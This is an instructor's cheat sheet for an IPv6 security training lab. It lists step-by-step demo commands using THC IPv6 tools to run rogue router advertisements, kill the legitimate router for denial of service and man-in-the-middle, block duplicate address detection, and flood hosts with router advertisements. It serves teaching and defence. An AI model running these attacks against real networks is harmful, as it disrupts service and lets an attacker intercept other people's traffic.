IPv6 Security Training: Lab Cheat sheet

An important part of the training are live demos. This document gives the instructor step by step instructions to go through the demos. The demo setup consists of five VMs: The Attacker, a Linux and Windows system, a Router and a Webserver. Each demo requires some action on some of the systems. Commands are printed in `courier`.

Preparation of the virtual lab

Start the five VMs in the following order in the Dock: Attacker, Linux, Windows, Router, Webserver (www). The attacker VM needs the THC IPv6 attack tools and wireshark installed.

Passwords: fr*nk, t**r

Issue the following commands:

Attacker:

- `sudo –i`
- `sysctl -w net.ipv6.conf.all.forwarding=0`

Router:

- `sudo –i`
- `/etc/init.d/radvd start`

Demo 0: Initial state

Objective: Show how a normal setup looks.

Windows:

- `ipconfig` (Show IPs, default gateway)
- `Website`

Linux:

- `ifconfig` (Show IPs)
- `ip -6 r l` (Show default router (and prefix list as network mask))
- Show Website

Attacker:

- `ifconfig` (privacy addresses have been disabled, so it's easier to identify)
- `Wireshark: icmpv6.type == 134`
  - Legitimate router sends RAs with Prefix `2001:db8:1::/64 from fe80::a00:27ff:fe11:1111`

Demo1: Attack on the Router

Objective: A rouge router can be used by the attacker to gain control over the network.

Attacker: `fake_router26 eth0`

Windows:

- `ipconfig` ➜ There are now **two** default routers

Linux:

- `ip -6 r l` ➜ There are now **two** default routers

Start Wireshark on the attacker VM and apply the display filter `icmpv6.type == 134`:

- Two routers send Ras (which is legitimate behavior for HA environments)
- The attacker sends with flag: preference = high, the legitimate router uses default preference = mid) which means that the attacker's router should be prioritized already. But to be on the safe side we take additional measures (we kill the legitimate router)

Demo2: kill legitimate router ➔ DOS

Objective: after adding a rogue router we want to kill the legitimate router (since the attacker VM has forwarding disabled, this results in a DOS)

Attacker, in a new window:

- **`sudo -i,`** `kill_router6 eth0 fe80::a00:27ff:fe11:1111`

Start Wireshark on the attacker VM and apply the display filter `icmpv6.type == 134` (show router lifetime of cloned spoofed packets)

Windows:

- `ipconfig` ➜ spot the fake 666 router

Linux:

- `ip -6 r l` ➜ fake 666 router AFTER **`sudo ip -6 route flush all`**
  Note: The Linux Network Manager violates IPv6 specification by establishing a static default route although it receives router advertisements with lifetime of zero, therefore we flush the routing table to show how the system should behave.

Linux/Windows: Try accessing the website ➔ it is dossed.

You might have to clear the cache:

- Internet Explorer: Tools Internet Options Common Delete

- Firefox: Edit Preferences Network Clear Now

Demo2b: kill legitimate router ➔ MITM

Objective: Enhance the attack from DOS to MITM by enabling forwarding on the attacker VM (in real attack scenarios that would have been configured beforehand of course, but for didactical reasons its good to see, that the the website is DOSsed and then enable forwarding)

Attacker, in a new window:

- `sysctl -w net.ipv6.conf.all.forwarding=1`

Linux/Windows: Website: works again

Wireshark: display filter: `ipv6.addr==2001:db8:2::2`

Linux:

- `traceroute6 2001:db8:2::2`

Windows:

- `tracert -d -6 2001:db8:2::2` ➔ next hop is 6666

Students can see that the traffic is now re-routed via the attacker's machine (one way).

Demo 3 DAD-DOS

Objective: The obligatory duplicate address detection (DAD) mechanism of IPv6 can be used to prevent machines to configure IPv6 addresses.

Attacker:

- stop both attacks (CTRL-C)
- start dos-new-ip6 eth0

Linux/Windows:

- reboot the VMs

Attacker: watch attack command output or use the wireshark display filter:
`icmpv6.type == 135 or icmpv6.type == 136`

Students can see, that the attacker answers any NA with a NS to tell the client, that the IPv6 address he wants to configure is already in use on the local network segment.
DAD is mandatory also for static configured IPv6 addresses, link local addresses and addresses configured by means of DHCPv6.
(In real world implementations operating systems sometimes configure link local addresses or static configured addresses anyway.)

Demo 4 Add IPs

Objective: With rogue RAs you can not only become the default router, but can also advertise IPv6 address prefixes. All machines on the network segment will configure IPv6 addresses accordingly. (This also works in "IPv4-only" environments by default, because usually SLAAC is enabled by default.)

Attacker:

- `fake_router26 eth0 -A dead:beef:4::/64`

Demo 5 Flood RAs

Objective**:** We have seen that the clients configure ressources (IPv6 addresses and routing entries) if they receive rogue RAs. But what happens if the receive a great deal of RAs?

Windows:

- `taskmgr`

Attacker:

⚠ Stop this after a few seconds as otherwise the lab becomes unresponsive!

- `flood_router26 eth0` ➜ Stop after a few seconds by pressing Ctrl-C.

Linux:

- `ip -6 r l`
- `ip -6 r l|grep default|wc –l`

Windows:

- `ipconfig`
- `taskmgr`

Router:

- `ifconfig` ➜ Addresses are ok as they are *static*
- `top` ➜ load goes up: syslogd uses a lot of CPU
- `cd /var/log`
- `ls -lth`
- `tail -f /var/log/syslog`

Students see, that Windows becomes unresponsive, CPU load goes up to 100%, systems configure lots of IP addresses and router entries. (Even the router with manually configured IPs and SLAAC disabled, writes so many log entries that he can become unresponsive. Site note: this works also with some CISCO routers which may eventually drop BGP routes, which in turn means, the attack isn't restricted to the local network segment)